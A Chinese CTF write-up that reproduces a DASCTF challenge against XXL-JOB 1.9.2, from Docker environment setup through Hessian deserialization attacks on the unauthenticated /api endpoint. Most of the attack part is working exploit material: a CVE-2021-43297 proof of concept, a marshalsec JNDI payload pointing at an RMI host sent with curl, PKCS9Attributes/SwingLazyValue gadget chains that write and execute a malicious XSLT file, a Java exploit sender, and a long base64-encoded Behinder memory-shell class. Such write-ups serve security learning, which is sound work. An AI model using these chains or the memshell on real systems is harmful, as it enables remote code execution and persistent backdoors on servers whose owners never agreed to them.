环境搭建
由于题目是公共靶机现在已经挂了,所以复现需要自己搭建题目环境
跟着这篇文章来配置一下:https://www.cnblogs.com/vickey-wu/p/9087951.html
主要是admin组件的配置,因为他是一个war,需要部署在tomcat上,executor是springboot应用,直接java -jar就行了
mysql配置
docker run -itd --name xxl-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.6.40
docker cp <xxl-job的sql文件> xxl-mysql:/tmp
mysql -uroot -p123456
source /tmp/tables_xxl_job.sql
|
然后本地编译一下xxl-job的admin项目,我们需要他war包解压后的文件夹,配置文件需要修改一下,xxl.job.db.password属性改成刚刚的数据库的密码
然后写一个dockerfile构建tomcat服务
FROM dockerpull.org/tomcat:8.5 EXPOSE 8080
ENV TOMCAT_WEBAPPS /usr/local/tomcat/webapps ENV TIME_ZONE Asia/Shanghai
RUN rm -rf $TOMCAT_WEBAPPS/ROOT/* $TOMCAT_WEBAPPS/docs $TOMCAT_WEBAPPS/examples $TOMCAT_WEBAPPS/host-manager $TOMCAT_WEBAPPS/manager \ && ln -snf /usr/share/zoneinfo/$TIME_ZONE /etc/localtime && echo $TIME_ZONE > /etc/timezone
ADD ./xxl-job-admin-1.9.2 $TOMCAT_WEBAPPS/ROOT/
|
构建镜像
docker build -t xxl-admin:0.1 .
|
启动镜像
docker run -itd --name xxl-admin -p 8080:8080 xxl-admin:0.1
|
然后本地编译xxl-job-executor-sample-springboot执行器,这个和题目的是一样的,修改配置文件的xxl.job.admin.addresses为http://127.0.0.1:8080/
然后直接java -jar就能跑起来了
我们的执行器也上线了
docker-compose搭建
想自己试试docker-compose搭建,没有怎么搭建过多容器的应用,但是浪费了好多时间啊实在是,太折磨了
先给一个总的docker-compose.yaml
services: admin: build: context: ./admin dockerfile: dockerfile depends_on: - db container_name: admin ports: - "8080:8080" networks: - xxl-job-network executor: build: context: ./executor dockerfile: dockerfile depends_on: - admin container_name: executor ports: - "9999:9999" networks: - xxl-job-network db: build: context: . dockerfile: dockerfile container_name: mysql ports: - "3306:3306" networks: - xxl-job-network command: --default-authentication-plugin=mysql_native_password networks: xxl-job-network:
|
启动mysql的dockerfile
FROM dockerpull.org/mysql:5.7
ENV MYSQL_ROOT_PASSWORD=123456
COPY ./tables_xxl_job.sql /tmp/
RUN mv /tmp/*.sql /docker-entrypoint-initdb.d
ENV LANG=C.UTF-8
|
然后我想着参考vulhub里的2.2版本的xxl-job环境来进行搭建,但是在maven编译的时候总会出错,我只能采取本地先编译然后再将jar包之类的直接放入
admin的dockerfile
编译好之后将解压的war包目录放在dockerfile的上下文目录中
FROM dockerpull.org/tomcat:8.5 EXPOSE 8080
ENV TOMCAT_WEBAPPS /usr/local/tomcat/webapps ENV TIME_ZONE Asia/Shanghai
RUN rm -rf $TOMCAT_WEBAPPS/ROOT/* $TOMCAT_WEBAPPS/docs $TOMCAT_WEBAPPS/examples $TOMCAT_WEBAPPS/host-manager $TOMCAT_WEBAPPS/manager \ && ln -snf /usr/share/zoneinfo/$TIME_ZONE /etc/localtime && echo $TIME_ZONE > /etc/timezone
ADD ./xxl-job-admin-1.9.2 $TOMCAT_WEBAPPS/ROOT/
RUN rm -rf /tmp/*
|
编译前需要改一下配置,我们连接数据库采用服务名的方式在docker-compose中,xxl.job.db.url改成如下:
xxl.job.db.url=jdbc:mysql://db:3306/xxl-job?useUnicode=true&characterEncoding=UTF-8&useSSL=false
|
这里要注意一个坑,在mysql5.7以上连接数据库是需要配置useSSL=false或者true这个选项的,不然连接的时候会一直bad handshake,被坑了好久在这里😭
最后是executor的dockerfile
FROM dockerpull.org/openjdk:8u272-jre
LABEL maintainer="clown"
ADD ./xxl-job-executor-sample-springboot-1.9.2.jar /usr/src/xxl-job-executor-sample-springboot-1.9.2.jar
WORKDIR /usr/src
CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-1.9.2.jar"]
|
这里也是先编译好然后放到dockerfile的上下文中
同样需要修改一下配置,将xxl.job.admin.addresses改成如下:
xxl.job.admin.addresses=http://admin:8080/
|
我的文件结构如下:
里面混杂着一些没用的文件问题不大,都是失败的试验品😭
最后
成功启动!
参考
https://www.cnblogs.com/PeterJXL/p/18415349
https://www.cnblogs.com/vickey-wu/p/9087951.html
https://blog.csdn.net/lichaohao_10/article/details/127445796
前置知识
因为这题涉及到了Hessian原生反序列化,刚好还有一种方式没看,这里就顺便简单学习一下
Hessian的toSting异常反序列化
原理是字符串和对象拼接导致隐式触发了该对象的toString方法,该漏洞有一个cve,CVE-2021-43297
这个CVE针对的是Hessian2Input#expect,Hessian1则没有对应的问题。
利用关键
我们可以看一下expect的写法
protected IOException expect(String expect, int ch) throws IOException { if (ch < 0) return error("expected " + expect + " at end of file"); else { _offset--;
try { int offset = _offset; String context = buildDebugContext(_buffer, 0, _length, offset);
Object obj = readObject();
if (obj != null) { return error("expected " + expect + " at 0x" + Integer.toHexString(ch & 0xff) + " " + obj.getClass().getName() + " (" + obj + ")" + "\n " + context + ""); } else return error("expected " + expect + " at 0x" + Integer.toHexString(ch & 0xff) + " null"); } catch (Exception e) { log.log(Level.FINE, e.toString(), e);
return error("expected " + expect + " at 0x" + Integer.toHexString(ch & 0xff)); } } }
|
可以看到接受了一个expect的String类型变量,然后调用readObject方法获取了一个对象,再直接将expect和obj对象拼接起来,从而触发了该对象的toString方法
流程分析
去找一下expect方法的引用
可以找到大部分的read方法都可以调用expect方法,文章选择的是readString,那这里也跟着readString来
然后也是通过查找引用的方式找readString的调用,这里引用readString的方法也很多,所以面向结果查找(
完整的利用链如下:
Hessian2Input#readObject --> Hessian2Input#readObjectDefinition --> Hessian2Input#readString --> Hessian2Input#expect
|
然后是分析触发的点
首先是readObject方法中,他会读取第一个字节数据来进行判断
然后如果第一个字节为大写C即byte为67的话,就会调用readObjectDefinition方法
然后里面就会调用readString方法
然后readString也是读取字节来进行判断
但是我们写入的是对象类型,所以也不用考虑他读取的第二个tag,最终一定会走到default里面触发expect
编写exp
那现在我们需要考虑的是如何控制第一个字节,可以使用System.arraycopy方法,该方法是java中用来复制数组元素的方法
写一个Person类里面的toString方法有恶意代码来简单测试
package org.clown.exp;
import java.io.IOException; import java.io.Serializable;
public class Person implements Serializable { String name;
public void setName(String name) { this.name = name; }
@Override public String toString() { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } return this.name; } }
|
然后是exp
package org.clown.exp;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException;
public class expectExp { public static byte[] Hessian2_Serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(baos); hessian2Output.writeObject(o); hessian2Output.flushBuffer(); return baos.toByteArray(); }
public static Object Hessian2_Deserial(byte[] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(bais); Object o = hessian2Input.readObject(); return o; }
public static void main(String[] args) throws Exception {
Person person = new Person(); person.setName("Hessian异常toString成功捏o(=•ェ•=)m");
byte[] data = Hessian2_Serial(person);
byte[] poc = new byte[data.length + 1]; System.arraycopy(new byte[]{67}, 0, poc, 0, 1); System.arraycopy(data, 0, poc, 1, data.length); Hessian2_Deserial(poc); } }
|
成功弹出计算器
开始复现
题目就是一个xxl-job的1.9.2的版本,版本挺低的,一个xxl-job的总结,大部分wp都是看这个的:https://xz.aliyun.com/t/13899
总结就是xxl-job一般有两个打法,一个是打api未授权,一个是打executor未授权,该题打的就是api未授权访问
api未授权打法
api未授权,是针对admin组件的,访问api的时候会返回这样的内容,证明这是存在api未授权
可以去看看xxl-job-admin的源码下的api路由都是干什么的
可以看到他会调用doInvoke方法,然后直接将body全部都反序列化了
打jndi注入
然后就可以直接利用jndi,用marshalsec生成exp去打
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/aaa > test.ser
|
用的是SpringAbstractBeanFactoryPointcutAdvisor这条链子
然后利用curl去发包即可
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/api
|
但是这种打法需要环境出网,这里题目是不出网的,所以需要换一种方式去打内存马
xslt打内存马
XSLT(eXtensible Stylesheet Language Transformations,可扩展样式表语言转换)是一种用于转换XML文档的编程语言。XSLT定义了如何将一个XML文档转换成另一种格式,比如HTML、文本或者另一个XML文档。
这部分的利用在Nookipop师傅的文章中有说,里面一些Hessian的链子没见过,还临时去补了一下
因为不出网就需要打内存马,我们这里需要打两次payload,第一次写入xslt文件,第二次解析xslt文件打入内存马
先利用Hessian的PKCS9Attributes这条原生链子写一个xslt文件能够执行任意代码
public static void main(String[] args) throws Exception { PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "E:\\payload.xslt"}})); SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults); FileOutputStream fileOut = new FileOutputStream("poc.ser"); Hessian2Output out = new Hessian2Output(fileOut); fileOut.write(67); out.getSerializerFactory().setAllowNonSerializable(true); out.writeObject(pkcs9Attributes); out.close(); fileOut.close();
} }
|
这里最后调用的静态方法是Process#_main方法,该方法能够解析xslt文件
能够执行任意代码的恶意xslt文件
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread" xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils" > <xsl:template match="/"> <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'base64')"/> <xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/> <xsl:variable name="rce" select="ru:defineClass('classname',$bs,$cl)"/> <xsl:value-of select="$rce"/> </xsl:template> </xsl:stylesheet>
|
然后我们还需要一个用来写入的静态方法,选用JavaUtils的writeBytesTofilename
那就可以得到另一个payload
package com.javasec.pocs.hessian; import com.caucho.hessian.io.Hessian2Output; import com.javasec.utils.SerializeUtils; import sun.security.pkcs.PKCS9Attribute; import sun.security.pkcs.PKCS9Attributes; import sun.swing.SwingLazyValue;
import javax.swing.*; import java.io.FileOutputStream;
public class HessianProxyLVFileWrite { public static void main(String[] args) throws Exception { PKCS9Attributes pkcs9Attributes = SerializeUtils.createWithoutConstructor(PKCS9Attributes.class); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt",SerializeUtils.getFileBytes("E:\\payload.xslt")})); SerializeUtils.setFieldValue(pkcs9Attributes,"attributes",uiDefaults); FileOutputStream fileOut = new FileOutputStream("poc.ser"); Hessian2Output out = new Hessian2Output(fileOut); fileOut.write(67); out.getSerializerFactory().setAllowNonSerializable(true); out.writeObject(pkcs9Attributes); out.close(); fileOut.close(); } }
|
然后这里写一个exp能够序列化payload并发送post请求的
package org.clown.exp;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.SerializerFactory; import sun.security.pkcs.PKCS9Attribute; import sun.security.pkcs.PKCS9Attributes; import sun.swing.SwingLazyValue;
import javax.swing.*; import java.io.*; import java.lang.reflect.Field; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; import java.nio.file.Files; import java.nio.file.Paths;
public class DasCTFEasyJob { public static byte[] Hessian2_Serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(baos); SerializerFactory serializerFactory = new SerializerFactory(); serializerFactory.setAllowNonSerializable(true); hessian2Output.setSerializerFactory(serializerFactory); hessian2Output.writeObject(o); hessian2Output.flushBuffer(); return baos.toByteArray(); }
public static Object Hessian2_Deserial(byte[] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(bais); Object o = hessian2Input.readObject(); return o; } public static void setField(Object o, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field declaredField = o.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(o, value); } public static void main(String[] args) throws Exception { PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(new PKCS9Attribute[]{}); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt", Files.readAllBytes(Paths.get("payload.xslt"))})); setField(pkcs9Attributes,"attributes",uiDefaults); byte[] data = Hessian2_Serial(pkcs9Attributes);
byte[] poc = new byte[data.length + 1]; System.arraycopy(new byte[]{67}, 0, poc, 0, 1); System.arraycopy(data, 0, poc, 1, data.length);
URL url = new URL("http://127.0.0.1:8080/api"); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("POST"); connection.setRequestProperty("Content-Type", "application/octet-stream"); connection.setDoOutput(true); OutputStream outputStream = connection.getOutputStream(); outputStream.write(poc); int responseCode = connection.getResponseCode(); System.out.println("Response Code: " + responseCode); connection.disconnect(); } }
|
欸我服了打了几次没反应,看了一下容器日志,说java.lang.ClassNotFoundException: sun.swing.SwingLazyValue,怪了,我看了一下admin组件的java版本
我去怎么是jdk21的版本的😓,这Tomcat镜像直接给我拉了一个21的jdk,那就改一下admin的dockerfile,改成手动装tomcat和jdk了
FROM dockerpull.org/openjdk:8-jdk
ENV TOMCAT_WEBAPPS /usr/local/tomcat/webapps ENV TIME_ZONE Asia/Shanghai
RUN wget https://downloads.apache.org/tomcat/tomcat-9/v9.0.97/bin/apache-tomcat-9.0.97.tar.gz -O /tmp/tomcat.tar.gz \ && tar -xzf /tmp/tomcat.tar.gz -C /usr/local \ && rm /tmp/tomcat.tar.gz \ && ln -s /usr/local/apache-tomcat-9.0.97 /usr/local/tomcat
RUN rm -rf $TOMCAT_WEBAPPS/ROOT/* $TOMCAT_WEBAPPS/docs $TOMCAT_WEBAPPS/examples $TOMCAT_WEBAPPS/host-manager $TOMCAT_WEBAPPS/manager
RUN ln -snf /usr/share/zoneinfo/$TIME_ZONE /etc/localtime && echo $TIME_ZONE > /etc/timezone
ADD ./xxl-job-admin-1.9.2 $TOMCAT_WEBAPPS/ROOT/
RUN rm -rf /tmp/*
EXPOSE 8080
CMD /usr/local/tomcat/bin/startup.sh && tail -F /usr/local/tomcat/logs/catalina.out
|
现在再打一遍
可以看到我们成功打进去了,证明exp是没问题的,现在就该考虑打什么内存马了
然后这里打着打着突然发现了奇怪的问题,我现在打的是api的未授权,而且又是在tomcat起的服务,怎么wp打的是jetty内存马呢
后来看了一下题目只给了executor的端口,而该版本的executor也是存在未授权打hessian反序列化的,具体的可以看一下文章,所以我打半天打错端口了😡,那也先复现打一下api吧,等会再打题目的executor未授权
这里用一款java内存马生成工具:https://github.com/pen4uin/java-memshell-generator-release
生成对应的冰蝎内存马
然后xslt文件改成这样
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread" xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils" > <xsl:template match="/"> <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'yv66vgAAADEBsgEAG29yZy9qdW5pdC9tL0VuY3J5cHRpb25VdGlscwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQACLyoIAAgBAAxnZXRDbGFzc05hbWUBAChjaC5xb3MubG9nYmFjay5Db250ZXh0TG9hZGVyQ2F5emJ2RmlsdGVyCAALAQAPZ2V0QmFzZTY0U3RyaW5nAQAKRXhjZXB0aW9ucwEAE2phdmEvaW8vSU9FeGNlcHRpb24HAA8BABBqYXZhL2xhbmcvU3RyaW5nBwARAQpESDRzSUFBQUFBQUFBLzZWWENYY1QxeFgrbmlWN1pGbUVJSUt4Z0FRbkthREZ0aEtNcVpFSmllVTR3WWx0VWlzMWRad3VZMmxrQ1dTTjBJd2NSSmVrNmI2blRiZDAzMGwzMGdZWkJ3SjBDdzFObTI3dXYwbFB2emNqeVpJc0c4N3BPZGFiZWUvZTk5Mzd2cnU4OGZYL3ZuSVp3TDM0ajRBL25ncWYwbzF3UnArZlUrTW53eU42MXRST20rTzZtdER5STJyeHpOemlRK21NcWVVVkNJRnRKOVJGTlp4UnMvUGhrWXhxR0xhYUFvZkFiVkowT214bytjV01ab1lybTFvRnhEdzMrbWVqZ2ZHRzNVTUN6aEU5b1Fsc0hrOW50Y25Dd3B5V2YxeWR5M0RGTzY3SDFjeTBtay9MZVhuUmFhYlNoa0J3L0dhZHBnVXhKOUF5R3hYb1NHaEpXckVzQzJ5blEyTmphMTN5NEZac2NjTUpyMERiNFhRMmJSNFJjUGdEMHg3Y2htMVMwQ213dzkrNHp6WTlGSmltd1RqUjE1RkxrQzRKc2xQQWxkQnRKd1ZtYmJ4VjltTDJjMG83VmRBTWMyZzlxWkhUczRiV0tMWlJSMUpxT21zNXRIWFZsOUhUY1MxbnB2V3NndDBDaXFFWkJpY0MzUTBRS2RQTWhZOXlpTmthNU5HaHo1MlFnYkxBQ21ZNkU1NVFjMXpmVnQ0YXp4ZHpwaDRlU2VkU051OWFSZFpnbXJKYmpMcnpDZHl4OGZscDE2Zy9zOER1RzVEQ2dDZFhpUkRZdVFGTHBDSmZjV1hmK2xRMCtPVEtWNTFwak4vYVRWV3Y5dHdVdklMOUFudHZEbFRCQVlGTk1aT1Z3SkNVUzhXZDBtVEdUYW9MVmpHdHhpRm01dFBaZVdiaTJ6SFlqaFljRW1pZjE4eWpsanB0K3RmcUJwcHRIOExoRHZUalB2SnNtNXBXTXdYTmcvdHQyQWNFYm0zY3BZQmw2SXF6V0VrNmEzQm5YUm1sMUh4TUhqNGIxNFlDVDNqd0lFYmRHTUZEUEF2OWkxVlM5UzUvNEViSjZzRlJqRW5uSGhIWXNwcXZSMVVqUllJVWpMc3hnVTRYK2toYlhUb3JlSXlKbmlzd0RRWnJmVHMyZDBLTGw4dXdiaVd3ZHNtREtjUTY4QTQ4N3NJOUx0ekpTaWk0OEM0MnJ4ejdnQWRQMlB6TU11azNQb2FDZDVNdE9tTVJ5OFJzRXBrbUhyRlJ2UmZ2NjhCN29QSXN3Nk14RitMbEh0QlFwQXFJMmtGdXg3S0dxWkoyZ2NDNjBXOHNjQS9ta1hJamlUUkxzVTdCeUdseFZtTThyNW1QYXNVWVp3cE84aVEwRkMyYUd1UHU5QWRtb3g0c0lDc0RyTnZOdUlsaHErZWVjaU1ESnFaVDltS3BPbVpyR2xxOGtFK2J4VENOV0tvbUN0S2Z4YnJFczFsUmNOcDJvTno4dC9xYk5mNHplTDhiUlh5QTNhWkJxT0JEYkZxVi9YWXZGL0N0UmFtMitXZndZVGVleHJOdWhwcTlmdGRHN1UzQngrd2FuQ3JYNEk0S2NGb1BSd3ZKcEpiWEVyYU15Si9BSnp2d2NYeEtvTE81am9MUFdMMUpUY2hMbFJlenYybjlmZzZmZCtPeitBSVBsdENqcXFFZFBQQ2dGcmR1NDg1bVdTQWo5a1Y4U1I3b2VmWkxlWGxsMVF3dlNYbXpTK0ZYOEZYSi85YzhVT0NTYWk4d3U3TGFVNnZaVmU5SnRWNitpVzlKcnI1TkxCS2laZ3o1dWRBa3M5a1R2b3Z2eVJCOW4rU3YyODBWL0ZEZ2dmL3ZScFg1ZER0KzNJRWY0U2ZzUDlXN3k2amNwbVI5N0ZqTmJmclROZVZjaHF6UitibEFhenlqbmpuRHJ0VGtVMGhKV1BUbjY5dDErZkRNLzBVMVA4Q0tOa3hxZEJxRmJOOUMyb2ozUllkam81WEk1VjM0TFhHU2VybnQ3N2xCTDY4ay9ubVVaQUNXQkR5MkQzWkN1YkJzNStXRVpxYjBSSlhVT3J6Wk5YaTFGdkphTWtQM3d6WUNUVjNFSlducVZZR3U5YlFVWEdFbXBMT0wra21lNFZDVFRKaTl5VWI4Ty96ZWphdjRnNExONWFiUUp6dDluNTN0THJ4bVh5MVY4djVNdXpZQkxseG5XMnZNb1hLUzZkbGtldDc2c3ZJa2ExWlk1UnZwV3dGbThQUWlmWm5iZjI5eTRFQmljT0RRb05yZmZ6RHV3dDhwbjlKa0dkT1JmOUtScWVTQ3NiRGd3cjl4SjJ2SkNTN0J3WkgzQjcvZGhieStyZWY5MXBOZjU3THNPTFp6ZGgvMVcvaHNENFljb2N0TDJIcU9reGE0T2JaUkJXeXJIUnc3YlNWNHNBbXczbTdCWnNxRi9OUXRRNDFTUis3WUhseml6L3VQODNneTZQM1hlVVNDM3BYekdINnBDdXkyd0xZVHRNc0M5OWpieXVBU3Nxc00rUmcxcFc1WE1MU0VYVGZHM0VtVVhUVU9kMVVkN29JUE95eUhiOGNkbEJGZFhPSVJwWldWMEZYMFI1dzlWekVRYWZVNWd5OGpzb3dqTFhnTkw5Yk0rREpjd3NNdjRIbXB2b3hIQlNKdEZ6RXhzNFRKaU9KVHZNZEN5M2luQThmNU91MXJyYjRmOTdXVjM5dThNd1I1Y2hsekRuZ1RGM0FpNHZLNVdpOGlZeTJYa1BNbWxtQ1U4TlJGdE13RVMvaGdDUjlad2tkOXJpQ1JQeTFRd25NbGZMbUVyNWZ3alJLKzQxTksrTUh4cytqb0RmVXM0NndEWjdFcDBsYVp2TVNqZW5BTjE5SE5aSkFVUFFJdng5MDhkRGNsZHlPTXR5R0NQYnhYOTJJUys1Z3VmamJsSUF5RWVNSDE0RG4wNGhMNmNJV2ExL2lKZEozL0JyNkIvVXl6QXhiRlNhSkc4Q3lUN2k1aWpyRFozazFFaFh1akpIc1BVK3dOL3ZZU3VVMlNYQTNGQ3UwRXJKQ3YwRnJJQ3RRSzdmWFN6emE4U1l0aEpxVUhyK01lV216RlFjcTN3UGtXcmlqb1Z6Q2dSQlYwdCtORkswVmI4RFA4Z21DOGIreW80aTJ1dHZKWjlMNThBUmNtZXJ5dk9GL0Ywek1PNzBpc2hNczlKSTd6NG93anhPa2ZyK0pQMWI5ekU5NXIzREhaNjMzZHdSMVVGbndXcVJWeCtwd01oL2N2dFVnKzUzbzQxdG1rN3hYbWQxZ01ESEk4eE5VSU9Semk3RERHV1g2U3lTT1V0SkdKWCtKWFBNUWdocTAzQitXOStEWE9rWTM5ZUpnUjNXZHhWYXd5V2NSdnFDMHNobGl0cDhpTFJZdHNBZDM4bVl5QVRjcUFWU2pNK2RXS3NjczdXbE10b2dvczhGZjhqV01GVERMOFpyWFFRNVpHRTdEUm1uS3VndjBQbkcyM3IwTVFBQUE9CAATAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAVABYKABIAFwEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HABoBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAZmaWx0ZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAdjb250ZXh0AQAIY29udGV4dHMBABBMamF2YS91dGlsL0xpc3Q7AQAEdGhpcwEAHUxvcmcvanVuaXQvbS9FbmNyeXB0aW9uVXRpbHM7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAJExqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEADmphdmEvdXRpbC9MaXN0BwAnAQASamF2YS91dGlsL0l0ZXJhdG9yBwApAQANU3RhY2tNYXBUYWJsZQwAFQAZCgAEACwBAApnZXRDb250ZXh0AQASKClMamF2YS91dGlsL0xpc3Q7DAAuAC8KAAIAMAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwwAMgAzCwAoADQBAAdoYXNOZXh0AQADKClaDAA2ADcLACoAOAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAOgA7CwAqADwBAAlnZXRGaWx0ZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAPgA/CgACAEABAAlhZGRGaWx0ZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYMAEIAQwoAAgBEAQAEa2V5MQEACGNoaWxkcmVuAQATTGphdmEvdXRpbC9IYXNoTWFwOwEAA2tleQEAC2NoaWxkcmVuTWFwAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3RocmVhZHMBABNbTGphdmEvbGFuZy9UaHJlYWQ7BwBQAQAQamF2YS9sYW5nL1RocmVhZAcAUgEAEWphdmEvdXRpbC9IYXNoTWFwBwBUAQATamF2YS91dGlsL0FycmF5TGlzdAcAVgoAVwAsAQAKZ2V0VGhyZWFkcwgAWQEADGludm9rZU1ldGhvZAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DABbAFwKAAIAXQEAB2dldE5hbWUMAF8ABgoAUwBgAQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcggAYgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABkAGUKABIAZgEABnRhcmdldAgAaAEABWdldEZWDABqAFwKAAIAawEABnRoaXMkMAgAbQgARwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7DABwAHEKAFUAcgEADWphdmEvdXRpbC9TZXQHAHQLAHUANAEAA2dldAwAdwA/CgBVAHgBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMAHoAewoABAB8AQAPamF2YS9sYW5nL0NsYXNzBwB+CgB/AGABAA9TdGFuZGFyZENvbnRleHQIAIEBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAIMAhAsAKACFAQAVVG9tY2F0RW1iZWRkZWRDb250ZXh0CACHAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAiQCKCgBTAIsBAAh0b1N0cmluZwwAjQAGCgB/AI4BABlQYXJhbGxlbFdlYmFwcENsYXNzTG9hZGVyCACQAQAfVG9tY2F0RW1iZWRkZWRXZWJhcHBDbGFzc0xvYWRlcggAkgEACXJlc291cmNlcwgAlAgAIAEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uBwCXAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWDAAVAJkKAJgAmgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCcAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcAngEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24HAKABAAlTaWduYXR1cmUBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEAE2phdmEvbGFuZy9UaHJvd2FibGUHAKQBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcArgEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAsACxCgBTALIBAA5nZXRDbGFzc0xvYWRlcgwAtACKCgB/ALUMAAoABgoAAgC3AQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAuQC6CgCvALsMAA0ABgoAAgC9AQAMZGVjb2RlQmFzZTY0AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgwAvwDACgACAMEBAA5nemlwRGVjb21wcmVzcwEABihbQilbQgwAwwDECgACAMUIAKgHAKcBABFqYXZhL2xhbmcvSW50ZWdlcgcAyQEABFRZUEUMAMsAqwkAygDMAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DADOAM8KAH8A0AEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAcA0gEADXNldEFjY2Vzc2libGUBAAQoWilWDADUANUKANMA1gEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DADYANkKAMoA2gEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwA3ADdCgDTAN4BAAtuZXdJbnN0YW5jZ